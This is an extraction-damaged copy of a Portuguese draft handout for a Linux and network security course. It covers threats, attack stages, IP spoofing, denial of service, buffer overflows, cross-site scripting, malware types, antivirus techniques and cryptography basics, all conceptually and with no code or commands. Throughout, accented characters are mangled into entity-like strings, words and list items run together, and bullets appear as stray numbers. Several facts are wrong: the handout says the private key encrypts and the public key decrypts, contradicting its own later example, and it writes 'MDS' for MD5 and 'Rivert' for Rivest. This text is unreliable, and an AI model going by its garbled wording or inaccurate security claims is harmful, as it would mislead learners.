72
Curso de Segurança em Linux e Redes em Geral Prof. Luís Rodrigo www.LivrosGratis.net Versão 0.4 Rascunho

Curso de segurança em linux e redes em geral

Embed Size (px)

Citation preview

Page 1: Curso de segurança em linux e redes em geral

Curso de Seguranccedila em Linux e Redes em Geral

Prof Luiacutes Rodrigo

wwwLivrosGratisnet

Versatildeo 04RascunhoData 04032005

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 1 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Introduccedilatildeo A Seguranccedila na InternetDevido ao modo como a Internet foi projetada ainda hoje existe uma ausecircncia de mecanismo quegarantam a privacidade e autenticaccedilatildeo para as camadas que estatildeo abaixo da aplicaccedilatildeo ou seja quando dasua criaccedilatildeo natildeo houve uma grande preocupaccedilatildeo com seguranccedila Dentre os vaacuterios problemas que aindaagravam esta situaccedilatildeo podemos destacar1) Senhas reutilizadas e natildeo cifradas2) Baixo niacutevel de seguranccedila em servidores de Dial-Up (linha discada)3) Falta de criteacuterio de seguranccedila na criaccedilatildeo de contas de usuaacuterios4) Monitoraccedilatildeo e expiraccedilatildeo de contas feita de forma ineficiente5) Falta de atenccedilatildeo quando a configuraccedilatildeo de servidores que executam algum tipo de CGI(Common Gateway Interface)Desta forma jamais execute um servidor web como root sendo indicado a criaccedilatildeo de um usuaacuterioespeciacutefico para tal accedilatildeo como por exemplo o usuaacuterio de grupo webserverO principal avanccedilo que ocorreu na seguranccedila da WEB nos uacuteltimos tempos foi a criaccedilatildeo do protocoloSSL (Secure Socket Layer) pelo Netscape este protocolo usa uma estrutura de trecircs camadas que emprega1) Autenticaccedilatildeo2) Criptografia ndash RSA e DES3) Verificaccedilatildeo de integridade ndash MDSComo funciona o processo1) Realizaccedilatildeo do Handshake (Aperto de Matildeos) ndash Definiccedilatildeo de uma chave secreta2) Iniacutecio da conexatildeo privada ndash Mecanismo de criptografia ndash DES ndash chave simeacutetrica3) Pode haver a autenticaccedilatildeo do cliente e do servidor via RSA ndash chave assimeacutetrica4) Transporte das mensagens ndash uso do algoritmo de verificaccedilatildeo de integridade ndash uso do SHAMDS e etcPodemos entatildeo perceber claramente que o objetivo deste protocolo de seguranccedila eacute prover aprivacidade e confiabilidade entre dois programas buscando estabelecer um processo de negociaccedilatildeo eemprego de funccedilotildees de autenticaccedilatildeo muacutetuaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 2 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051) Conceitos BaacutesicosO Termo Seguranccedila segundo a ISO 7498-2 eacute utilizado para especificar os fatores necessaacuterios

para minimizar a vulnerabilidades de bens e recursos e estaacute relacionada a necessidades de proteccedilatildeo contraacesso ou manipulaccedilatildeo das informaccedilotildees confidenciais e utilizaccedilatildeo dos recursos de processamento de formanatildeo autorizadaDa mesma forma Vulnerabilidade eacute utilizada para especificar qualquer fraqueza que pode serexplorada para violar um sistema ou as informaccedilotildees que ele contemA necessidade de proteccedilatildeo deve ser definida tendo como base as possiacuteveis ldquoAmeaccedilasrdquo as quais oambiente estaacute exposto e deve ser formalizado em um documento oficial denominado Poliacutetica de Seguranccedila12) Ameaccedilas e AtaquesUma Ameaccedila consiste de uma possiacutevel violaccedilatildeo da seguranccedila de um ambiente ou sistema Asameaccedilas podem ser classificadas como1 Passivas Ativas2 Acidentais IntencionaisUm Ataque eacute a materializaccedilatildeo de uma ameaccedila e normalmente pode ocorrer de vaacuterias formasdiferentes mas normalmente eacute realizado atraveacutes das etapas1 Obter informaccedilotildees sobre o alvo - coleta do perfil do alvo2 Obter acesso inicial natildeo privilegiado ao sistema3 Explorar pontos fracos para aumentar o niacutevel de privileacutegio e expandir o acesso4 Executar o ataque propriamente dito5 Instalar porta dos fundos (backdoor)6 Cobrir rastrosDentre as teacutecnicas que podem ser utilizadas para proferir um ataque podemos destacar1 Phreaking - consiste na maacute utilizaccedilatildeo do sistema telefocircnico permitindo acesso gratuitoe ateacute mesmo interromper seu funcionamento2 Discagem de Guerra ou Discagem de Forccedila Bruta consiste no uso de ferramentaspara realizar a discagem sequumlencial para um nuacutemero aleatoacuterio de nuacutemeros com oobjetivo de detectar um modem Uma vez identificado um modem poderia ser utilizadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 3 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005um ataque de senha para se ter acesso ao sistema3 Engenharia social consiste em se passar por uma outra pessoa com o objetivo decoletar informaccedilotildees para proferir o ataque em siacute (coleta de informaccedilotildees privilegiadas)Recentemente tem-se utilizado principalmente o e-mail para a realizaccedilatildeo desta teacutecnica

Esta teacutecnica eacute uma forma incriacutevelmente eficaz de se reunir informaccedilotildees sobre um dadoambiente u sistema alvo4 Quebra de senha tem por finalidade obter as senhas de acesso ao sistema ou de umaconta em especial As principais teacutecnicas que podem ser empregadas satildeomiddot Forccedila brutamiddot Dicionaacuteriomiddot Combinaccedilatildeo de palavrasComo natildeo existem senhas 100 seguras eacute uma questatildeo de tempo ateacute que um softwarede quebra de senha consiga descobrir uma senha5 Filtragem de Pacote (packet sniffing) almeja a coleta de nomes de usuaacuterio e senhasque trafegam de forma natildeo protegida pela rede e outros tipos de informaccedilotildeespertinentes para o invasor6 Varredura ICMP - Pinging esta teacutecnica eacute utilizada para determinar os possiacuteveis alvospara um determinado ataque mas tambeacutem pode ser utilizada por Administradores deRede para realizar o monitoramento da mesma7 Scanner de Portas consiste na determinaccedilatildeo de quais serviccedilos de rede estatildeo ativosnos hospedeiros da rede bem como da identificaccedilatildeo das principais vulnerabilidades aque estes hospedeiros estatildeo sujeitos Ao identificar o endereccedilo de um hospedeiro ativoo invasor pode utilizar este valor para forjar um ataque sem ser identificado8 Coleta do Finger Printing de um hospedeiro9 Coacutedigo malicioso (malware) programas desenvolvidos com objetivo de furto deinformaccedilotildees ou ateacute mesmo danificaccedilatildeo dos sistemasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 4 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200512) Os Principais tipos de Ataques1 Personificaccedilatildeo (masquerade) uma entidade faz-se passar por outras2 Replay apoacutes uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso deum invasor ao sistema3 Modificaccedilatildeo de Conteuacutedo o conteuacutedo de uma mensagem alterado de forma furtiva4 Ataques Internos normalmente proferidos por usuaacuterios legiacutetimos que realizam operaccedilotildees ilegais5 Armadilhas (trapdoor) entidades do sistemas satildeo modificadas para produzir efeitos natildeoautorizados em resposta a determinadas mensagens ou intervalos de tempo6 Cavalos de Troacuteia entidades que executam funccedilotildees natildeo autorizadas como por exemplo umprocedimento de Login modificado

7 Recusa de Serviccedilo tem por objetivo impedir que entidades legitimas realizem suas funccedilotildeesTipo DoS e DdoS8 Spoofing IP - Esta eacute uma teacutecnica dita altamente sofisticada onde uma maacutequina eacute autenticada poroutra atraveacutes de Pacotes IP indicando ser uma fonte segura Dado que um computador ldquoXrdquo podemanter uma comunicaccedilatildeo com um outro computador ldquoYrdquo sem a necessidade da constanteverificaccedilatildeo de autenticidade Um hacker pode se disfarccedilar informando para ldquoXrdquo que sua maacutequina eacuteldquoYrdquo Para isto ele deve ser capaz de gerar os nuacutemeros de sequumlecircncia que satildeo usados durante oldquoAperto de matildeosrdquo entre dois servidores uma forma de se obter tais nuacutemeros eacute enviar uma seacuterie desolicitaccedilotildees de conexotildees com ldquoXrdquo e guardar os nuacutemeros gerados Com o tempo o hacker podedescobrir como ele gera estes nuacutemeros Descoberto o processo de geraccedilatildeo dos nuacutemeros ohacker inicia uma conexatildeo informando ser ldquoXrdquo mas como ele natildeo eacute a maacutequina indicada ele age asldquoescurasrdquo Feito a solicitaccedilatildeo ele envia um outro pacote com o nuacutemero de sequumlecircncia e com istofecha a conexatildeo Uma vez fechada a conexatildeo o usuaacuterio passa a trabalhar em um canalunidirecional uma vez que ele natildeo reabriraacute os pacotes de resposta Uma forma de se evitar estetipo de ataque eacute configurar o roteador para que ele natildeo aceite pacotes internet que simulamoriginar-se de um endereccedilo local Outra forma seria a verificaccedilatildeo dos ldquologsrdquo e do arquivo de hostconfiaacuteveis caso haja uma conexatildeo ativa com algum destes hosts mas sem que hajam processosem andamento provavelmente um ataque estaacute em accedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 5 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059 Negaccedilatildeo de Serviccedilo - Este tipo de ataque tem por objetivo deixar um ldquorecursordquo inoperanteldquomomentaneamenterdquo Existem basicamente dois tipos de ataques desta categoria o DoS e oDDoS este segundo se baseia no envio de uma grande quantidade de pacotes para um alvo deforma coordenada a partir de vaacuterias origens Devido a uma fragilidade do TCP (TransmissionControl Protocol) os endereccedilos da origem dos pacotes satildeo normalmente forjados Sendo que ostipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexatildeo e

na limitaccedilatildeo de que um serviccedilo tem que aceitar um nuacutemero de conexotildees por vez Um doscuidados que devem ser tomados quando da configuraccedilatildeo dos equipamentos de rede eacute que elesnatildeo possam ser usados como fontes de ataques bem como contra os ataques propriamente ditosuma das formas de se fazer a segunda parte e retirar os serviccedilos que natildeo estatildeo sendo utilizadosoutra forma eacute realizar uma constante verificaccedilatildeo do traacutefico do site assim sendo quando umaatividade anormal for detectada uma atitude correspondente deve ser adotada como por exemplobloquear um endereccedilo de IPProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 6 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20052) MalwareDesde novembro de 1988 quando Robert Morris lanccedilou seu verme na internet a miacutedia apresentouo coacutedigo malicioso como se fosse um desastre natural o que natildeo deixa de ser uma verdade visto seusefeitos e como as pessoas se comportamOs viacuterus aleacutem de serem desastrosos para a produtividade de uma empresa devido ao seucomportamento epidecircmico ele pode consumir uma sensiacutevel parte da largura de banda de uma rede decomputadoresAtualmente existe mais de 40000 tipos distintos de viacuterus registrados Dos viacuterus conhecidos trecircs sedestacam pelo seu poder destrutivo e pelo seu modo de operaccedilatildeo O viacuterus ldquoMelissardquo desenvolvido porDavid Smith em 1999 causou um dano total de US$ 80 mil O viacuterus I love You causou um dano totalde US$ 10 bilhotildees e desativou mais de 10000 empresas incluindo o Departamento de Defesa NorteAmericano (DOD)Um dos motivos de raacutepida proliferaccedilatildeo do Viacuterus I love you foi causada pelo uso do cataacutelogo deendereccedilos do Microsoft Outlook Express e por explorar a curiosidade do usuaacuterioComo acontece no mundo real a cura para estas pragas estaacute sempre um passo atraacutes do seudesenvolvimento E atualmente os viacuterus deixaram de ser um pequeno incomodo se tornando uma realameaccedila para a comunidade comercial21) Ciclo de Vida do Viacuterus- Nascimento- Lanccedilamento- Proliferaccedilatildeo- Disparo

- Ativaccedilatildeo- Detecccedilatildeo- Eliminaccedilatildeo- Mutaccedilatildeo (volta ao primeiro estaacutegio)Os viacuterus podem utilizar vaacuterios meios de transporte originalmente os disquetes e os arquivosbaixados de BBS eram a principal fonte atualmente os e-mails e as redes promiacutescuas satildeo os dois maioresProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 7 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005grupos de risco de contaminaccedilatildeoAtualmente muitos viacuterus natildeo necessitam que o usuaacuterio executem um arquivo anexado basta abrir oe-mail ou visitar um site que o mesmo eacute automaticamente acionado22) Tipos de ViacuterusOs principais tipos de viacuterus satildeo1 Viacuterus de infecccedilatildeo de arquivos - um dos primeiros tipos de viacuterus Quando arquivosinfectados eram executados o viacuterus era automaticamente executado e se proliferavapara os demais arquivos executaacuteveis existentes no sistema2 Viacuterus do setor de boot - pouco comuns na atualidade foram uma praga no passadoeram carregados antes da execuccedilatildeo do sistema operacional e contaminavam todos osdemais discos inseridos no sistema Atualmente este tipo de viacuterus natildeo causa grandesdanos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes3 Viacuterus de Macro - usam as linguagens de macro dos programas para infectar seusarquivos de dados Satildeo Viacuterus especiacuteficos dos programas e atacam principalmentedocumentos do Microsoft Word e Microsoft Excel4 Virus de Sript - satildeo escritos utilizando-se de programaccedilatildeo script principalmenteVisual Basic Script e Java Script normalmente ativos quando um e-mail eacute aberto ou umsite visitado5 Viacuterus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores deviacuterus e anti-viacuterus como as assinaturas dos viacuterus satildeo normalmente sua forma dedetecccedilatildeo os viacuterus comeccedilaram a cifrar e embaralhar seus coacutedigos todas as vez que satildeoexecutados6 Viacuterus Polimorfico - satildeo viacuterus que possuem um sistema ativo de mutaccedilatildeo que natildeo

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - 